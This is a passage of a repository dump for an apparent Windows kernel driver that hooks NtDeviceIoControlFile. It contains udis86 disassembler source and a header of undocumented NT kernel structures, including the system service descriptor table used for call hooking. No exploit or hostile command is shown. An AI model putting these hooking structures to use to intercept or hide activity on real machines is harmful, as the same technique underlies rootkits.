\");\n\tgen_operand(u, &u->operand[2], u->c3);\n }\n}\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/syn.c", "content": "/* -----------------------------------------------------------------------------\n * syn.c\n *\n * Copyright (c) 2002, 2003, 2004 Vivek Mohan \n * All rights reserved. See (LICENSE)\n * -----------------------------------------------------------------------------\n */\n\n/* -----------------------------------------------------------------------------\n * Intel Register Table - Order Matters (types.h)!\n * -----------------------------------------------------------------------------\n */\nconst char* ud_reg_tab[] = \n{\n \"al\",\t\t\"cl\",\t\t\"dl\",\t\t\"bl\",\n \"ah\",\t\t\"ch\",\t\t\"dh\",\t\t\"bh\",\n \"spl\",\t\"bpl\",\t\t\"sil\",\t\t\"dil\",\n \"r8b\",\t\"r9b\",\t\t\"r10b\",\t\t\"r11b\",\n \"r12b\",\t\"r13b\",\t\t\"r14b\",\t\t\"r15b\",\n\n \"ax\",\t\t\"cx\",\t\t\"dx\",\t\t\"bx\",\n \"sp\",\t\t\"bp\",\t\t\"si\",\t\t\"di\",\n \"r8w\",\t\"r9w\",\t\t\"r10w\",\t\t\"r11w\",\n \"r12w\",\t\"r13W\"\t,\t\"r14w\",\t\t\"r15w\",\n\t\n \"eax\",\t\"ecx\",\t\t\"edx\",\t\t\"ebx\",\n \"esp\",\t\"ebp\",\t\t\"esi\",\t\t\"edi\",\n \"r8d\",\t\"r9d\",\t\t\"r10d\",\t\t\"r11d\",\n \"r12d\",\t\"r13d\",\t\t\"r14d\",\t\t\"r15d\",\n\t\n \"rax\",\t\"rcx\",\t\t\"rdx\",\t\t\"rbx\",\n \"rsp\",\t\"rbp\",\t\t\"rsi\",\t\t\"rdi\",\n \"r8\",\t\t\"r9\",\t\t\"r10\",\t\t\"r11\",\n \"r12\",\t\"r13\",\t\t\"r14\",\t\t\"r15\",\n\n \"es\",\t\t\"cs\",\t\t\"ss\",\t\t\"ds\",\n \"fs\",\t\t\"gs\",\t\n\n \"cr0\",\t\"cr1\",\t\t\"cr2\",\t\t\"cr3\",\n \"cr4\",\t\"cr5\",\t\t\"cr6\",\t\t\"cr7\",\n \"cr8\",\t\"cr9\",\t\t\"cr10\",\t\t\"cr11\",\n \"cr12\",\t\"cr13\",\t\t\"cr14\",\t\t\"cr15\",\n\t\n \"dr0\",\t\"dr1\",\t\t\"dr2\",\t\t\"dr3\",\n \"dr4\",\t\"dr5\",\t\t\"dr6\",\t\t\"dr7\",\n \"dr8\",\t\"dr9\",\t\t\"dr10\",\t\t\"dr11\",\n \"dr12\",\t\"dr13\",\t\t\"dr14\",\t\t\"dr15\",\n\n \"mm0\",\t\"mm1\",\t\t\"mm2\",\t\t\"mm3\",\n \"mm4\",\t\"mm5\",\t\t\"mm6\",\t\t\"mm7\",\n\n \"st0\",\t\"st1\",\t\t\"st2\",\t\t\"st3\",\n \"st4\",\t\"st5\",\t\t\"st6\",\t\t\"st7\", \n\n \"xmm0\",\t\"xmm1\",\t\t\"xmm2\",\t\t\"xmm3\",\n \"xmm4\",\t\"xmm5\",\t\t\"xmm6\",\t\t\"xmm7\",\n \"xmm8\",\t\"xmm9\",\t\t\"xmm10\",\t\"xmm11\",\n \"xmm12\",\t\"xmm13\",\t\"xmm14\",\t\"xmm15\",\n\n \"rip\"\n};\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/syn.h", "content": "/* -----------------------------------------------------------------------------\n * syn.h\n *\n * Copyright (c) 2006, Vivek Mohan \n * All rights reserved. See LICENSE\n * -----------------------------------------------------------------------------\n */\n#ifndef UD_SYN_H\n#define UD_SYN_H\n\n#include \n#include \n#include \"types.h\"\n\nextern const char* ud_reg_tab[];\n\nstatic void mkasm(struct ud* u, const char* fmt, ...)\n{\n va_list ap;\n va_start(ap, fmt);\n u->insn_fill += vsprintf((char*) u->insn_buffer + u->insn_fill, fmt, ap);\n va_end(ap);\n}\n\n#endif\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/types.h", "content": "/* -----------------------------------------------------------------------------\n * types.h\n *\n * Copyright (c) 2006, Vivek Mohan \n * All rights reserved. See LICENSE\n * -----------------------------------------------------------------------------\n */\n#ifndef UD_TYPES_H\n#define UD_TYPES_H\n\n#include \n\n#ifdef _MSC_VER\n# define FMT64 \"%I64\"\n typedef unsigned __int8 uint8_t;\n typedef unsigned __int16 uint16_t;\n typedef unsigned __int32 uint32_t;\n typedef unsigned __int64 uint64_t;\n typedef __int8 int8_t;\n typedef __int16 int16_t;\n typedef __int32 int32_t;\n typedef __int64 int64_t;\n#else\n# define FMT64 \"%ll\"\n# include \n#endif\n\n#include \"itab.h\"\n\n/* -----------------------------------------------------------------------------\n * All possible \"types\" of objects in udis86. Order is Important!\n * -----------------------------------------------------------------------------\n */\nenum ud_type\n{\n UD_NONE,\n\n /* 8 bit GPRs */\n UD_R_AL,\tUD_R_CL,\tUD_R_DL,\tUD_R_BL,\n UD_R_AH,\tUD_R_CH,\tUD_R_DH,\tUD_R_BH,\n UD_R_SPL,\tUD_R_BPL,\tUD_R_SIL,\tUD_R_DIL,\n UD_R_R8B,\tUD_R_R9B,\tUD_R_R10B,\tUD_R_R11B,\n UD_R_R12B,\tUD_R_R13B,\tUD_R_R14B,\tUD_R_R15B,\n\n /* 16 bit GPRs */\n UD_R_AX,\tUD_R_CX,\tUD_R_DX,\tUD_R_BX,\n UD_R_SP,\tUD_R_BP,\tUD_R_SI,\tUD_R_DI,\n UD_R_R8W,\tUD_R_R9W,\tUD_R_R10W,\tUD_R_R11W,\n UD_R_R12W,\tUD_R_R13W,\tUD_R_R14W,\tUD_R_R15W,\n\t\n /* 32 bit GPRs */\n UD_R_EAX,\tUD_R_ECX,\tUD_R_EDX,\tUD_R_EBX,\n UD_R_ESP,\tUD_R_EBP,\tUD_R_ESI,\tUD_R_EDI,\n UD_R_R8D,\tUD_R_R9D,\tUD_R_R10D,\tUD_R_R11D,\n UD_R_R12D,\tUD_R_R13D,\tUD_R_R14D,\tUD_R_R15D,\n\t\n /* 64 bit GPRs */\n UD_R_RAX,\tUD_R_RCX,\tUD_R_RDX,\tUD_R_RBX,\n UD_R_RSP,\tUD_R_RBP,\tUD_R_RSI,\tUD_R_RDI,\n UD_R_R8,\tUD_R_R9,\tUD_R_R10,\tUD_R_R11,\n UD_R_R12,\tUD_R_R13,\tUD_R_R14,\tUD_R_R15,\n\n /* segment registers */\n UD_R_ES,\tUD_R_CS,\tUD_R_SS,\tUD_R_DS,\n UD_R_FS,\tUD_R_GS,\t\n\n /* control registers*/\n UD_R_CR0,\tUD_R_CR1,\tUD_R_CR2,\tUD_R_CR3,\n UD_R_CR4,\tUD_R_CR5,\tUD_R_CR6,\tUD_R_CR7,\n UD_R_CR8,\tUD_R_CR9,\tUD_R_CR10,\tUD_R_CR11,\n UD_R_CR12,\tUD_R_CR13,\tUD_R_CR14,\tUD_R_CR15,\n\t\n /* debug registers */\n UD_R_DR0,\tUD_R_DR1,\tUD_R_DR2,\tUD_R_DR3,\n UD_R_DR4,\tUD_R_DR5,\tUD_R_DR6,\tUD_R_DR7,\n UD_R_DR8,\tUD_R_DR9,\tUD_R_DR10,\tUD_R_DR11,\n UD_R_DR12,\tUD_R_DR13,\tUD_R_DR14,\tUD_R_DR15,\n\n /* mmx registers */\n UD_R_MM0,\tUD_R_MM1,\tUD_R_MM2,\tUD_R_MM3,\n UD_R_MM4,\tUD_R_MM5,\tUD_R_MM6,\tUD_R_MM7,\n\n /* x87 registers */\n UD_R_ST0,\tUD_R_ST1,\tUD_R_ST2,\tUD_R_ST3,\n UD_R_ST4,\tUD_R_ST5,\tUD_R_ST6,\tUD_R_ST7, \n\n /* extended multimedia registers */\n UD_R_XMM0,\tUD_R_XMM1,\tUD_R_XMM2,\tUD_R_XMM3,\n UD_R_XMM4,\tUD_R_XMM5,\tUD_R_XMM6,\tUD_R_XMM7,\n UD_R_XMM8,\tUD_R_XMM9,\tUD_R_XMM10,\tUD_R_XMM11,\n UD_R_XMM12,\tUD_R_XMM13,\tUD_R_XMM14,\tUD_R_XMM15,\n\n UD_R_RIP,\n\n /* Operand Types */\n UD_OP_REG,\tUD_OP_MEM,\tUD_OP_PTR,\tUD_OP_IMM,\t\n UD_OP_JIMM,\tUD_OP_CONST\n};\n\n/* -----------------------------------------------------------------------------\n * struct ud_operand - Disassembled instruction Operand.\n * -----------------------------------------------------------------------------\n */\nstruct ud_operand \n{\n enum ud_type\t\ttype;\n uint8_t\t\tsize;\n union {\n\tint8_t\t\tsbyte;\n\tuint8_t\t\tubyte;\n\tint16_t\t\tsword;\n\tuint16_t\tuword;\n\tint32_t\t\tsdword;\n\tuint32_t\tudword;\n\tint64_t\t\tsqword;\n\tuint64_t\tuqword;\n\n\tstruct {\n\t\tuint16_t seg;\n\t\tuint32_t off;\n\t} ptr;\n } lval;\n\n enum ud_type\t\tbase;\n enum ud_type\t\tindex;\n uint8_t\t\toffset;\n uint8_t\t\tscale;\t\n};\n\n/* -----------------------------------------------------------------------------\n * struct ud - The udis86 object.\n * -----------------------------------------------------------------------------\n */\nstruct ud\n{\n int \t\t\t(*inp_hook) (struct ud*);\n uint8_t\t\tinp_curr;\n uint8_t\t\tinp_fill;\n FILE*\t\t\tinp_file;\n uint8_t\t\tinp_ctr;\n uint8_t*\t\tinp_buff;\n uint8_t*\t\tinp_buff_end;\n uint8_t\t\tinp_end;\n void\t\t\t(*translator)(struct ud*);\n uint64_t\t\tinsn_offset;\n char\t\t\tinsn_hexcode[32];\n char\t\t\tinsn_buffer[64];\n unsigned int\t\tinsn_fill;\n uint8_t\t\tdis_mode;\n uint64_t\t\tpc;\n uint8_t\t\tvendor;\n struct map_entry*\tmapen;\n enum ud_mnemonic_code\tmnemonic;\n struct ud_operand\toperand[3];\n uint8_t\t\terror;\n uint8_t\t \tpfx_rex;\n uint8_t \t\tpfx_seg;\n uint8_t \t\tpfx_opr;\n uint8_t \t\tpfx_adr;\n uint8_t \t\tpfx_lock;\n uint8_t \t\tpfx_rep;\n uint8_t \t\tpfx_repe;\n uint8_t \t\tpfx_repne;\n uint8_t \t\tpfx_insn;\n uint8_t\t\tdefault64;\n uint8_t\t\topr_mode;\n uint8_t\t\tadr_mode;\n uint8_t\t\tbr_far;\n uint8_t\t\tbr_near;\n uint8_t\t\timplicit_addr;\n uint8_t\t\tc1;\n uint8_t\t\tc2;\n uint8_t\t\tc3;\n uint8_t \t\tinp_cache[256];\n uint8_t\t\tinp_sess[64];\n struct ud_itab_entry * itab_entry;\n};\n\n/* -----------------------------------------------------------------------------\n * Type-definitions\n * -----------------------------------------------------------------------------\n */\ntypedef enum ud_type \t\tud_type_t;\ntypedef enum ud_mnemonic_code\tud_mnemonic_code_t;\n\ntypedef struct ud \t\tud_t;\ntypedef struct ud_operand \tud_operand_t;\n\n#define UD_SYN_INTEL\t\tud_translate_intel\n#define UD_SYN_ATT\t\tud_translate_att\n#define UD_EOI\t\t\t-1\n#define UD_INP_CACHE_SZ\t\t32\n#define UD_VENDOR_AMD\t\t0\n#define UD_VENDOR_INTEL\t\t1\n\n#define bail_out(ud,error_code) longjmp( (ud)->bailout, error_code )\n#define try_decode(ud) if ( setjmp( (ud)->bailout ) == 0 )\n#define catch_error() else\n\n#endif\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/udis86.c", "content": "/* -----------------------------------------------------------------------------\n * udis86.c\n *\n * Copyright (c) 2004, 2005, 2006, Vivek Mohan \n * All rights reserved. See LICENSE\n * -----------------------------------------------------------------------------\n */\n\n#include \n#include \n#include \n\n#include \"input.h\"\n#include \"extern.h\"\n\n/* =============================================================================\n * ud_init() - Initializes ud_t object.\n * =============================================================================\n */\nextern void \nud_init(struct ud* u)\n{\n memset((void*)u, 0, sizeof(struct ud));\n ud_set_mode(u, 16);\n u->mnemonic = UD_Iinvalid;\n ud_set_pc(u, 0);\n#ifndef __UD_STANDALONE__\n ud_set_input_file(u, stdin);\n#endif /* __UD_STANDALONE__ */\n}\n\n/* =============================================================================\n * ud_disassemble() - disassembles one instruction and returns the number of \n * bytes disassembled. A zero means end of disassembly.\n * =============================================================================\n */\nextern unsigned int\nud_disassemble(struct ud* u)\n{\n if (ud_input_end(u))\n\treturn 0;\n\n \n u->insn_buffer[0] = u->insn_hexcode[0] = 0;\n\n \n if (ud_decode(u) == 0)\n\treturn 0;\n if (u->translator)\n\tu->translator(u);\n return ud_insn_len(u);\n}\n\n/* =============================================================================\n * ud_set_mode() - Set Disassemly Mode.\n * =============================================================================\n */\nextern void \nud_set_mode(struct ud* u, uint8_t m)\n{\n switch(m) {\n\tcase 16:\n\tcase 32:\n\tcase 64: u->dis_mode = m ; return;\n\tdefault: u->dis_mode = 16; return;\n }\n}\n\n/* =============================================================================\n * ud_set_vendor() - Set vendor.\n * =============================================================================\n */\nextern void \nud_set_vendor(struct ud* u, unsigned v)\n{\n switch(v) {\n\tcase UD_VENDOR_INTEL:\n\t\tu->vendor = v;\n\t\tbreak;\n\tdefault:\n\t\tu->vendor = UD_VENDOR_AMD;\n }\n}\n\n/* =============================================================================\n * ud_set_pc() - Sets code origin. \n * =============================================================================\n */\nextern void \nud_set_pc(struct ud* u, uint64_t o)\n{\n u->pc = o;\n}\n\n/* =============================================================================\n * ud_set_syntax() - Sets the output syntax.\n * =============================================================================\n */\nextern void \nud_set_syntax(struct ud* u, void (*t)(struct ud*))\n{\n u->translator = t;\n}\n\n/* =============================================================================\n * ud_insn() - returns the disassembled instruction\n * =============================================================================\n */\nextern char* \nud_insn_asm(struct ud* u) \n{\n return u->insn_buffer;\n}\n\n/* =============================================================================\n * ud_insn_offset() - Returns the offset.\n * =============================================================================\n */\nextern uint64_t\nud_insn_off(struct ud* u) \n{\n return u->insn_offset;\n}\n\n\n/* =============================================================================\n * ud_insn_hex() - Returns hex form of disassembled instruction.\n * =============================================================================\n */\nextern char* \nud_insn_hex(struct ud* u) \n{\n return u->insn_hexcode;\n}\n\n/* =============================================================================\n * ud_insn_ptr() - Returns code disassembled.\n * =============================================================================\n */\nextern uint8_t* \nud_insn_ptr(struct ud* u) \n{\n return u->inp_sess;\n}\n\n/* =============================================================================\n * ud_insn_len() - Returns the count of bytes disassembled.\n * =============================================================================\n */\nextern unsigned int \nud_insn_len(struct ud* u) \n{\n return u->inp_ctr;\n}\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/types.h", "content": "/* -----------------------------------------------------------------------------\n * types.h\n *\n * Copyright (c) 2006, Vivek Mohan \n * All rights reserved. See LICENSE\n * -----------------------------------------------------------------------------\n */\n#ifndef UD_TYPES_H\n#define UD_TYPES_H\n\n#include \n\n#ifdef _MSC_VER\n# define FMT64 \"%I64\"\n typedef unsigned __int8 uint8_t;\n typedef unsigned __int16 uint16_t;\n typedef unsigned __int32 uint32_t;\n typedef unsigned __int64 uint64_t;\n typedef __int8 int8_t;\n typedef __int16 int16_t;\n typedef __int32 int32_t;\n typedef __int64 int64_t;\n#else\n# define FMT64 \"%ll\"\n# include \n#endif\n\n#include \"itab.h\"\n\n/* -----------------------------------------------------------------------------\n * All possible \"types\" of objects in udis86. Order is Important!\n * -----------------------------------------------------------------------------\n */\nenum ud_type\n{\n UD_NONE,\n\n /* 8 bit GPRs */\n UD_R_AL,\tUD_R_CL,\tUD_R_DL,\tUD_R_BL,\n UD_R_AH,\tUD_R_CH,\tUD_R_DH,\tUD_R_BH,\n UD_R_SPL,\tUD_R_BPL,\tUD_R_SIL,\tUD_R_DIL,\n UD_R_R8B,\tUD_R_R9B,\tUD_R_R10B,\tUD_R_R11B,\n UD_R_R12B,\tUD_R_R13B,\tUD_R_R14B,\tUD_R_R15B,\n\n /* 16 bit GPRs */\n UD_R_AX,\tUD_R_CX,\tUD_R_DX,\tUD_R_BX,\n UD_R_SP,\tUD_R_BP,\tUD_R_SI,\tUD_R_DI,\n UD_R_R8W,\tUD_R_R9W,\tUD_R_R10W,\tUD_R_R11W,\n UD_R_R12W,\tUD_R_R13W,\tUD_R_R14W,\tUD_R_R15W,\n\t\n /* 32 bit GPRs */\n UD_R_EAX,\tUD_R_ECX,\tUD_R_EDX,\tUD_R_EBX,\n UD_R_ESP,\tUD_R_EBP,\tUD_R_ESI,\tUD_R_EDI,\n UD_R_R8D,\tUD_R_R9D,\tUD_R_R10D,\tUD_R_R11D,\n UD_R_R12D,\tUD_R_R13D,\tUD_R_R14D,\tUD_R_R15D,\n\t\n /* 64 bit GPRs */\n UD_R_RAX,\tUD_R_RCX,\tUD_R_RDX,\tUD_R_RBX,\n UD_R_RSP,\tUD_R_RBP,\tUD_R_RSI,\tUD_R_RDI,\n UD_R_R8,\tUD_R_R9,\tUD_R_R10,\tUD_R_R11,\n UD_R_R12,\tUD_R_R13,\tUD_R_R14,\tUD_R_R15,\n\n /* segment registers */\n UD_R_ES,\tUD_R_CS,\tUD_R_SS,\tUD_R_DS,\n UD_R_FS,\tUD_R_GS,\t\n\n /* control registers*/\n UD_R_CR0,\tUD_R_CR1,\tUD_R_CR2,\tUD_R_CR3,\n UD_R_CR4,\tUD_R_CR5,\tUD_R_CR6,\tUD_R_CR7,\n UD_R_CR8,\tUD_R_CR9,\tUD_R_CR10,\tUD_R_CR11,\n UD_R_CR12,\tUD_R_CR13,\tUD_R_CR14,\tUD_R_CR15,\n\t\n /* debug registers */\n UD_R_DR0,\tUD_R_DR1,\tUD_R_DR2,\tUD_R_DR3,\n UD_R_DR4,\tUD_R_DR5,\tUD_R_DR6,\tUD_R_DR7,\n UD_R_DR8,\tUD_R_DR9,\tUD_R_DR10,\tUD_R_DR11,\n UD_R_DR12,\tUD_R_DR13,\tUD_R_DR14,\tUD_R_DR15,\n\n /* mmx registers */\n UD_R_MM0,\tUD_R_MM1,\tUD_R_MM2,\tUD_R_MM3,\n UD_R_MM4,\tUD_R_MM5,\tUD_R_MM6,\tUD_R_MM7,\n\n /* x87 registers */\n UD_R_ST0,\tUD_R_ST1,\tUD_R_ST2,\tUD_R_ST3,\n UD_R_ST4,\tUD_R_ST5,\tUD_R_ST6,\tUD_R_ST7, \n\n /* extended multimedia registers */\n UD_R_XMM0,\tUD_R_XMM1,\tUD_R_XMM2,\tUD_R_XMM3,\n UD_R_XMM4,\tUD_R_XMM5,\tUD_R_XMM6,\tUD_R_XMM7,\n UD_R_XMM8,\tUD_R_XMM9,\tUD_R_XMM10,\tUD_R_XMM11,\n UD_R_XMM12,\tUD_R_XMM13,\tUD_R_XMM14,\tUD_R_XMM15,\n\n UD_R_RIP,\n\n /* Operand Types */\n UD_OP_REG,\tUD_OP_MEM,\tUD_OP_PTR,\tUD_OP_IMM,\t\n UD_OP_JIMM,\tUD_OP_CONST\n};\n\n/* -----------------------------------------------------------------------------\n * struct ud_operand - Disassembled instruction Operand.\n * -----------------------------------------------------------------------------\n */\nstruct ud_operand \n{\n enum ud_type\t\ttype;\n uint8_t\t\tsize;\n union {\n\tint8_t\t\tsbyte;\n\tuint8_t\t\tubyte;\n\tint16_t\t\tsword;\n\tuint16_t\tuword;\n\tint32_t\t\tsdword;\n\tuint32_t\tudword;\n\tint64_t\t\tsqword;\n\tuint64_t\tuqword;\n\n\tstruct {\n\t\tuint16_t seg;\n\t\tuint32_t off;\n\t} ptr;\n } lval;\n\n enum ud_type\t\tbase;\n enum ud_type\t\tindex;\n uint8_t\t\toffset;\n uint8_t\t\tscale;\t\n};\n\n/* -----------------------------------------------------------------------------\n * struct ud - The udis86 object.\n * -----------------------------------------------------------------------------\n */\nstruct ud\n{\n int \t\t\t(*inp_hook) (struct ud*);\n uint8_t\t\tinp_curr;\n uint8_t\t\tinp_fill;\n FILE*\t\t\tinp_file;\n uint8_t\t\tinp_ctr;\n uint8_t*\t\tinp_buff;\n uint8_t*\t\tinp_buff_end;\n uint8_t\t\tinp_end;\n void\t\t\t(*translator)(struct ud*);\n uint64_t\t\tinsn_offset;\n char\t\t\tinsn_hexcode[32];\n char\t\t\tinsn_buffer[64];\n unsigned int\t\tinsn_fill;\n uint8_t\t\tdis_mode;\n uint64_t\t\tpc;\n uint8_t\t\tvendor;\n struct map_entry*\tmapen;\n enum ud_mnemonic_code\tmnemonic;\n struct ud_operand\toperand[3];\n uint8_t\t\terror;\n uint8_t\t \tpfx_rex;\n uint8_t \t\tpfx_seg;\n uint8_t \t\tpfx_opr;\n uint8_t \t\tpfx_adr;\n uint8_t \t\tpfx_lock;\n uint8_t \t\tpfx_rep;\n uint8_t \t\tpfx_repe;\n uint8_t \t\tpfx_repne;\n uint8_t \t\tpfx_insn;\n uint8_t\t\tdefault64;\n uint8_t\t\topr_mode;\n uint8_t\t\tadr_mode;\n uint8_t\t\tbr_far;\n uint8_t\t\tbr_near;\n uint8_t\t\timplicit_addr;\n uint8_t\t\tc1;\n uint8_t\t\tc2;\n uint8_t\t\tc3;\n uint8_t \t\tinp_cache[256];\n uint8_t\t\tinp_sess[64];\n struct ud_itab_entry * itab_entry;\n};\n\n/* -----------------------------------------------------------------------------\n * Type-definitions\n * -----------------------------------------------------------------------------\n */\ntypedef enum ud_type \t\tud_type_t;\ntypedef enum ud_mnemonic_code\tud_mnemonic_code_t;\n\ntypedef struct ud \t\tud_t;\ntypedef struct ud_operand \tud_operand_t;\n\n#define UD_SYN_INTEL\t\tud_translate_intel\n#define UD_SYN_ATT\t\tud_translate_att\n#define UD_EOI\t\t\t-1\n#define UD_INP_CACHE_SZ\t\t32\n#define UD_VENDOR_AMD\t\t0\n#define UD_VENDOR_INTEL\t\t1\n\n#define bail_out(ud,error_code) longjmp( (ud)->bailout, error_code )\n#define try_decode(ud) if ( setjmp( (ud)->bailout ) == 0 )\n#define catch_error() else\n\n#endif\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/undocnt.h", "content": "\n// ********************************************************\n// some user-mode structures\n\ntypedef struct _LDR_DATA_TABLE_ENTRY\n{\n LIST_ENTRY InLoadOrderModuleList;\n LIST_ENTRY InMemoryOrderModuleList;\n LIST_ENTRY InInitializationOrderModuleList;\n PVOID DllBase;\n PVOID EntryPoint;\n ULONG SizeOfImage;\n UNICODE_STRING FullDllName;\n UNICODE_STRING BaseDllName;\n ULONG Flags;\n USHORT LoadCount;\n USHORT TlsIndex;\n LIST_ENTRY HashLinks;\n PVOID SectionPointer;\n ULONG CheckSum;\n ULONG TimeDateStamp;\n\n} LDR_DATA_TABLE_ENTRY, \n*PLDR_DATA_TABLE_ENTRY;\n\ntypedef struct _PEB_LDR_DATA \n{\n ULONG Length;\n BOOLEAN Initialized;\n PVOID SsHandle;\n LIST_ENTRY ModuleListLoadOrder;\n LIST_ENTRY ModuleListMemoryOrder;\n LIST_ENTRY ModuleListInitOrder;\n\n} PEB_LDR_DATA, \n*PPEB_LDR_DATA;\n\n// ********************************************************\n\ntypedef struct SERVICE_DESCRIPTOR_ENTRY\n{\n PVOID\t*ServiceTableBase;\n PULONG\tServiceCounterTableBase;\n ULONG\tNumberOfServices;\n PUCHAR\tParamTableBase;\n\n} SERVICE_DESCRIPTOR_ENTRY,\n*PSERVICE_DESCRIPTOR_ENTRY;\n\ntypedef struct _SERVICE_DESCRIPTOR_TABLE \n{\n SERVICE_DESCRIPTOR_ENTRY Entry[2];\n\n} SERVICE_DESCRIPTOR_TABLE,\n*PSERVICE_DESCRIPTOR_TABLE; \n\ntypedef enum _SYSTEM_INFORMATION_CLASS \n{\n SystemBasicInformation,\n SystemProcessorInformation, // obsolete...delete\n SystemPerformanceInformation,\n SystemTimeOfDayInformation,\n SystemPathInformation,\n SystemProcessInformation,\n SystemCallCountInformation,\n SystemDeviceInformation,\n SystemProcessorPerformanceInformation,\n SystemFlagsInformation,\n SystemCallTimeInformation,\n SystemModuleInformation,\n SystemLocksInformation,\n SystemStackTraceInformation,\n SystemPagedPoolInformation,\n SystemNonPagedPoolInformation,\n SystemHandleInformation,\n SystemObjectInformation,\n SystemPageFileInformation,\n SystemVdmInstemulInformation,\n SystemVdmBopInformation,\n SystemFileCacheInformation,\n SystemPoolTagInformation,\n SystemInterruptInformation,\n SystemDpcBehaviorInformation,\n SystemFullMemoryInformation,\n SystemLoadGdiDriverInformation,\n SystemUnloadGdiDriverInformation,\n SystemTimeAdjustmentInformation,\n SystemSummaryMemoryInformation,\n SystemMirrorMemoryInformation,\n SystemPerformanceTraceInformation,\n SystemObsolete0,\n SystemExceptionInformation,\n SystemCrashDumpStateInformation,\n SystemKernelDebuggerInformation,\n SystemContextSwitchInformation,\n SystemRegistryQuotaInformation,\n SystemExtendServiceTableInformation,\n SystemPrioritySeperation,\n SystemVerifierAddDriverInformation,\n SystemVerifierRemoveDriverInformation,\n SystemProcessorIdleInformation,\n SystemLegacyDriverInformation,\n SystemCurrentTimeZoneInformation,\n SystemLookasideInformation,\n SystemTimeSlipNotification,\n SystemSessionCreate,\n SystemSessionDetach,\n SystemSessionInformation,\n SystemRangeStartInformation,\n SystemVerifierInformation,\n SystemVerifierThunkExtend,\n SystemSessionProcessInformation,\n SystemLoadGdiDriverInSystemSpace,\n SystemNumaProcessorMap,\n SystemPrefetcherInformation,\n SystemExtendedProcessInformation,\n SystemRecommendedSharedDataAlignment,\n SystemComPlusPackage,\n SystemNumaAvailableMemory,\n SystemProcessorPowerInformation,\n SystemEmulationBasicInformation,\n SystemEmulationProcessorInformation,\n SystemExtendedHandleInformation,\n SystemLostDelayedWriteInformation,\n SystemBigPoolInformation,\n SystemSessionPoolTagInformation,\n SystemSessionMappedViewInformation,\n SystemHotpatchInformation,\n SystemObjectSecurityMode,\n SystemWatchdogTimerHandler,\n SystemWatchdogTimerInformation,\n SystemLogicalProcessorInformation,\n SystemWow64SharedInformation,\n SystemRegisterFirmwareTableInformationHandler,\n SystemFirmwareTableInformation,\n SystemModuleInformationEx,\n SystemVerifierTriageInformation,\n SystemSuperfetchInformation,\n SystemMemoryListInformation,\n SystemFileCacheInformationEx,\n MaxSystemInfoClass // MaxSystemInfoClass should always be the last enum\n \n} SYSTEM_INFORMATION_CLASS;\n\ntypedef struct _RTL_PROCESS_MODULE_INFORMATION \n{\n HANDLE Section; // Not filled in\n PVOID MappedBase;\n PVOID ImageBase;\n ULONG ImageSize;\n ULONG Flags;\n USHORT LoadOrderIndex;\n USHORT InitOrderIndex;\n USHORT LoadCount;\n USHORT OffsetToFileName;\n UCHAR FullPathName[ 256 ];\n \n} RTL_PROCESS_MODULE_INFORMATION, \n*PRTL_PROCESS_MODULE_INFORMATION;\n\ntypedef struct _RTL_PROCESS_MODULES \n{\n ULONG NumberOfModules;\n RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];\n \n} RTL_PROCESS_MODULES, \n*PRTL_PROCESS_MODULES;\n\ntypedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO \n{\n USHORT UniqueProcessId;\n USHORT CreatorBackTraceIndex;\n UCHAR ObjectTypeIndex;\n UCHAR HandleAttributes;\n USHORT HandleValue;\n PVOID Object;\n ULONG GrantedAccess;\n\n} SYSTEM_HANDLE_TABLE_ENTRY_INFO, \n*PSYSTEM_HANDLE_TABLE_ENTRY_INFO;\n\ntypedef struct _SYSTEM_HANDLE_INFORMATION \n{\n ULONG NumberOfHandles;\n SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ];\n\n} SYSTEM_HANDLE_INFORMATION, \n*PSYSTEM_HANDLE_INFORMATION;\n\n#ifndef _NTIFS_INCLUDED_\n\ntypedef struct _FILE_DIRECTORY_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n WCHAR FileName[1];\n\n} FILE_DIRECTORY_INFORMATION, \n*PFILE_DIRECTORY_INFORMATION;\n\ntypedef struct _FILE_NAMES_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG FileIndex;\n ULONG FileNameLength;\n WCHAR FileName[1];\n\n} FILE_NAMES_INFORMATION, \n*PFILE_NAMES_INFORMATION;\n\n#endif\n\ntypedef struct _FILE_FULL_DIRECTORY_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n ULONG EaSize;\n WCHAR FileName[1];\n\n} FILE_FULL_DIRECTORY_INFORMATION, \n*PFILE_FULL_DIRECTORY_INFORMATION;\n\ntypedef struct _FILE_BOTH_DIRECTORY_INFORMATION \n{\n ULONG NextEntryOffset;\n ULONG Unknown;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n ULONG EaInformationLength;\n UCHAR AlternateNameLength;\n WCHAR AlternateName[12];\n WCHAR FileName[1];\n\n} FILE_BOTH_DIRECTORY_INFORMATION, \n*PFILE_BOTH_DIRECTORY_INFORMATION; \n\ntypedef struct _FILE_ID_BOTH_DIRECTORY_INFORMATION \n{\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER 